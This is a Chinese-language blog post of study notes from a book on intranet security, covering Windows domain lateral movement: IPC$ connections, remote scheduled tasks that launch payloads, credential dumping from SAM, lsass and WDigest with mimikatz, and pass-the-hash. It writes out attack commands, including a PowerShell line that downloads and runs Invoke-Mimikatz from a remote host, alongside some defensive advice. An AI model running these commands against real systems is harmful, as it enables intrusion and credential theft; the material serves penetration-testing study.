内网渗透之横向移动

学习学习

Posted by lll-yz on May 23, 2021

本文来自《内网安全攻防》

前言:域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁 (Advanced Persistent Threats, APT) 中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围 (包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。

通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于 Windows 操作系统的检测设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。

常用 Windows 远程连接和相关命令

在渗透测试中,拿到目标计算机的用户明文密码或者 NTLM Hash 后,可以通过 PTH (Pass the Hash,凭据传递) 的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程 Windows 操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件较差,无法使用图形化界面连接远程主机。此时,可以使用命令行的方式连接远程主机 (最好使用 Windows 自带的方法对远程目标系统进行命令行下的连接操作) 并执行相关命令。

在实际的网络环境中,针对此类情况,网络管理人员可以通过配置 Windows 系统自带的防火墙或组策略进行防御。

IPC

IPC (Internet Process Connection) 共享 “命名管道” 的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获得目标机器的目录结构、用户列表等信息。(可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用)

首先,需要建立一个 ipc$。输入:

net use \\192.168.78.128\ipc$ "密码" /user:用户名

然后,在命令行环境中输入命令 “net use”,查看当前的连接。

net user

gv2Iwn.png

删除 ipc$ 连接:

net use \\IP\ipc$ /del
1.ipc$ 的利用条件

(1)开启了 139、445端口。

ipc$ 可以实现远程登录及对默认共享资源的访问,而 139 端口的开启表示 NetBIOS 协议的应用。通过 139、445 (Windows 2000) 端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$ 需要 139、445 端口的支持。

(2)管理员开启了默认共享。

默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘 (c$、d$、e$ 等) 和系统目录 winnt 或 windows (admin$)。通过 ipc$,可以实现对这些默认共享目录的访问。

2.ipc$ 连接失败的原因
  • 用户名或密码错误。
  • 目标没有打开 ipc$ 默认共享。
  • 不能成功连接目标的 139、445 端口。
  • 命令输入错误。
常用命令:
dir
tasklist
at        # 计划任务
net time \\ip      # 查看目标系统时间
copy calc.exe \\ip\c$     # 文件复制
at \\ip 12:11 c:\calc.exe   # 定时任务
at \\ip id /delete
schtasks        # 高版本系统中代替 at

使用 Windows 自带的工具获取远程主机信息

1.dir 命令
dir \\192.168.78.128\C$
2.tasklist 命令

用 tasklist 命令列出远程主机上运行的进程:

  • /S system 指定连接到的远程系统(IP)。
  • /U [domain]user 指定使用哪个用户执行这个命令
  • /P [password] 为指定的用户指定密码。
tasklist /S 192.168.78.128 /U administrator /P 112233

gvhZm4.png

计划任务

1.at 命令

at 是 Windows 自带的用于创建计划任务的命令,它主要工作在 Windows server 2008 之前版本的操作系统中。使用 at 命令在远程目标机器上创建计划任务的流程大致如下。

  • 使用 net time 命令确定远程机器当前的系统时间。
  • 使用 copy 命令将 payload 文件复制到远程目标机器中。
  • 使用 at 命令定时启动该 payload 文件。
  • 删除使用 at 命令创建计划任务的记录。

在使用 at 命令在远程机器上创建计划任务之前,需要使用 net use 命令建立 ipc$。实践:

(1)查看目标系统时间

net time \\192.168.78.128

gvTaS1.png

(2)将文件复制到目标系统中

首先,在本地创建一个 calc.bat 文件,其内容为 “@calc.exe”。然后,让 Windows 运行一个 “计算器” 程序,使用 Windows 自带的 copy 命令将一个文件复制到远程主机的 C 盘中:

copy calc.bat \\192.168.78.128\C$

(3)使用 at 创建计划任务

使用 net time 命令获取当前远程主机的系统时间。使用 at 命令让目标系统在指定时间 () 运行一个程序:

at \\192.168.78.128 22:20 C:\calc.bat

(4)清除 at 记录

计划任务不会随着它本身的执行而被删除,因此,网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击。

at \\192.168.78.128 id /delete

使用 at 远程执行命令后,先将执行结果写入本地文本文件,再使用 type 命令远程读取该文本文件:

at \\192.168.78.128 20:05 cmd.exe /C "ipconfig > C:/1.txt"

type \\192.168.78.128\C$\1.txt
高版本中替代 at 的命令 schtasks 命令

Windows Vista、Windows server 2008 及之后版本的操作系统已经将 at 命令废弃了。使用 schtasks 命令代替。

在远程主机上创建一个名称为 test 的计划任务。该计划任务在开机时启动,启动程序为 D 盘下的 calc.bat,启动权限为 system:

schtasks /create /s 192.168.78.128 /tn test /sc onstart /tr d:\test\calc.bat /ru system /f

在使用 schtasks 命令时不需要输入密码,原因是之前已建立了 ipc$。如果没有建立 ipc$,可以在执行 schtasks 命令时添加 /u 和 /p 参数。schtasks 命令的参数列举如下:

  • /u user
  • /p “password”
  • /f 强制删除

计划任务运行后,输入如下命令,删除该项计划任务:

schtasks /delete /s 192.168.78.128 /tn "test" /f

最后,删除 ipc$ 连接:

net use \\IP\ipc$ /del
或
net use 名称 /del /y

在使用 schtasks 命令时,会在系统中留下日志文件 C:\Windows\Tasks\SchedLgU.txt。如果执行 schtasks 命令后没有回显,可以配合 ipc$ 执行文件,使用 type 命令远程查看执行结果。

Windows 系统散列值获取分析与防范

LM Hash 和 NTLM Hash

Windows 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。

Windows 操作系统中的密码一般由两部分组成,一部分为 LM Hash,另一部分为 NTLM Hash。在 Windows 操作系统中,Hash 的结构通常如下。

username:RID:LM-HASH:NT-HASH

LM Hash 的全名为 “LAN Manager Hash”,是微软为了提高 Windows 操作系统的安全性而采用的散列加密算法,其本质是 DES 加密。LM Hash 的生成原理就不说了(密码不足 14 字节将用 0 补全)。尽管 LM Hash 较容易被破解,但为了保证系统的兼容性,Windows 只是将 LM Hash 禁用了。LM Hash 明文密码被限定在 14 位以内,也就是说,如果要停止使用 LM Hash ,将用户的密码设置位 14 位以上即可。如果 LM Hash 被禁用了,攻击者通过抓取的 LM Hash 通常为 “aad3b435b51404eeaad3b435b51404ee” (表示 LM Hash 为空置或被禁用)。

NTLM Hash 是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。NTLM Hash 是基于 MD4 加密算法进行加密的。

破解网站:—–> here

单机密码抓取与防范

想要在 Windows 操作系统中抓取散列值或明文密码,必须将权限提升至 System。本地用户名、散列值和其他安全验证信息都保存在 SAM 文件中。lsass.exe 进程用于实现 Windows 的安全策略 (本地安全策略和登录安全策略)。可以使用工具将散列值和明文密码从内存中的 lsass.exe 进程或 SAM 文件中导出。

在 Windows 操作系统中,SAM 文件的保存位置是 C:\Windows\System32\config。该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭 Windows 操作系统之后,使用 PE 盘进入文件管理环境,直接复制 SAM 文件,也可以使用 VSS 等方法进行复制。

1.GetPass (需要 System 权限)

可以直接从 lsass.exe 中获取 Windows 处于 active 状态账号明文密码。比破解 SAM 更快,更准。

2.pwdump7 (管理员权限)

可以得到系统中所有账户的 hash。

3.QuarksPwDump

是一款比较常用的 hash dump 工具,使用 QuarksPwDump –dhl获取本地所有账户的hash值。

4.wce

Wce 在不指定任何参数时默认输出密码的 hash 值,使用 wce -w 列出明文密码。

5.通过 SAM 和 System 文件抓取密码

(1)导出 SAM 和 System 文件

无工具导出 SAM 文件:

reg save hklm\sam sam.hive
reg save hklm\system system.hive

通过 reg 的 save 选项将注册表中的 SAM、System 文件导出到本地磁盘。

(2)通过读取 SAM 和 System 文件获得 NTLM Hash

  • 使用 mimikatz 读取 SAM 和 System 文件。 (使用 mimikatz 想要管理员权限)

mimikatz 可以从内存中提取明文密码、散列值、PIN 和Kerberos 票据。也可以执行哈希传递、票据传递或者构建黄金票据。

将从目标系统中导出的 system.hive 和 sam.hive 文件放到本地 (与 mimikatz 放在同一目录下)。双击 mimikatz,输入命令 lsadump::sam /sam:sam.hive /system:system.hive

mimikatz 直接读取本地 SAM 文件,导出 hash 信息:

privilege::debug  #提升权限
token::elevate  #将权限提升至 system
lsadump::sam  #读取本地 SAM 文件

5YRe2T.png

5YRWLQ.png

mimikatz 在线读取 SAM 文件:

mimikatz "privilege::debug" "log" "sekurlsa::logonpasswords"

powershell 远程加载:

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz
6.注册表开启 wdigest Auth 获取明文密码

开启

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

防范攻击者抓取明文密码和散列值

1.设置 Active Directory 2012 R2 功能级别

Windows server 2012 R2 新增了一个名为 “受保护的用户” 的用户组。只需要将要保护的用户放入该组,攻击者就无法使用 mimikatz 等工具抓取明文密码和散列值了。

2.安装 KB28711997
3.通过修改注册表禁止在内存中存储明文密码

微软在 Windows XP 版本中添加了一个名为 WDigest 的协议。该协议能够使 Windows 将明文密码存储在内存中,以便用户登录本地计算机。

通过修改注册表的方式,即可解决内存中以明文存储密码的问题。执行如下命令,在注册表中添加一个键值,将其设置为 0:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0

注销后,Windows 就不会在将明文密码存储在内存中了。

4.防御 mimikatz 攻击

根据 Debug 权限确定哪些用户可以将调试器附加到任何进程或内核中。在默认情况下,此权限为本地管理员 Administrator 所有。不过,除非是系统进程,本地管理员几乎不需要使用此权限。

mimikatz 在抓取散列值或明文密码时需要使用 Debug 权限 (因为 mimikatz 需要和 lsass 进程进行交互)。因此,在维护网络时,可以针对这一点采取防御措施。将拥有 Debug 权限的本地管理员从 administrators 组中删除。重启生效。

哈希传递攻击分析与防范

哈希传递攻击的概念

该方法通过找到与账户相关的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码,因此,如果计算机的本地管理员账户和密码也是相同的,攻击者就能使用哈希传递攻击的方式登录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值 (进而获得密码明文)。

在 Windows 网络中,散列值就是用来证明身份的 (有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在 Windows server 2012 R2 及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

哈希传递攻击分析

散列值的概念

当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密处理 (通常使用 MD5 算法)。散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,相同则验证成果。

主流的 Windows 操作系统,通常会使用 NTLM Hash 对访问资源的用户进行身份验证。早期版本的 Windows 操作系统,则使用 LM Hash 对用户密码进行验证。但是,当密码大于等于 15 位时,就无法使用 LM Hash 了。从 Windows Vista 和 Windows Server 2008 版本开始,Windows 操作系统默认禁用 LM Hash,因为在使用 NTLM Hash 进行身份认证时,不会使用明文口令,而是将明文口令通过系统 API (例如 LsaLogonUser) 转换成散列值。不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。

NTLM Hash进行哈希传递

NTLM Hash 验证过程:

1.用户输入username、password、domainname(交互式才需要这个步骤),客户端会计算hash值保存在本地;
2.客户端将username明文发给DC;
3.DC生成一个16Byte的随机数(challenge)发送给客户端;
4.客户端通过运算生成一个响应值response=f(hashes,challenge,other)=>other根据版本变化,例如时间戳来防止回访等;
5.客户端将响应值发送给DC;
6.DC经过同样的运算result = f(hashes,challenge,other),然后比较result和response,一直就验证通过,不一致则验证不通过;
7.备注:目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。

利用 –> 在攻击机器中,以管理员权限运行 mimikatz:(win7)

privilege::debug
sekurlsa::pth /user:administrator /domain:hacke.com /ntlm:获得的目标机的NTLMhash值

5YWjc8.png

此时,会弹出cmd.exe。在命令行环境中尝试列出域控制器C盘的内容: (获得的就是我们获得目标的cmd (这里是DC))

dir \\dc\c$

5teddf.png

AES-256 密钥进行哈希传递

远程系统(必须安装 KB2871997)

使用 mimikatz 抓取 AES-256 密钥: (目标机)

privilege::debug
sekurlsa::ekeys

在远程目标主机(攻击机)中,以管理员权限运行 mimikatz:

privilege::debug
sekurlsa::pth /user:administrator /domain:hacke.com /eas256:得到的AES-256密钥

注意:攻击目标主机上必须安装 KB2871997。

当机器打了KB2871997补丁之后,我们发现使用域管理员组内无法进行hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进行hash传递攻击

票据传递攻击分析与防范

想要使用 mimikatz 的哈希传递功能,必须具有本地管理员权限。当然,mimikatz 同样提供了不需要本地管理员权限就行横向渗透测试的方法,如 票据传递。

https://www.freebuf.com/articles/system/229200.html